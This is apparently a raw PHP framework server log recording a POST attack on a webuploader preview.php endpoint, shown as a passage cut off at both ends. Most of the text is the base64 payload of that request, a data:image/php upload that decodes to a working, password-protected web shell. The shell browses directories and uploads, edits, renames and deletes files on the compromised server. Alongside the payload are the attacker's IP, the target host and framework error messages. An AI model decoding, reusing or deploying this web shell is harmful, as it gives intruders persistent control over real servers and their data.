oIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:07:54+08:00 ] 119.42.146.234 POST 59.110.137.245/res/webuploader/0.1.15/server/preview.php [运行时间:0.002732s] [吞吐率:366.03req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'res', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KC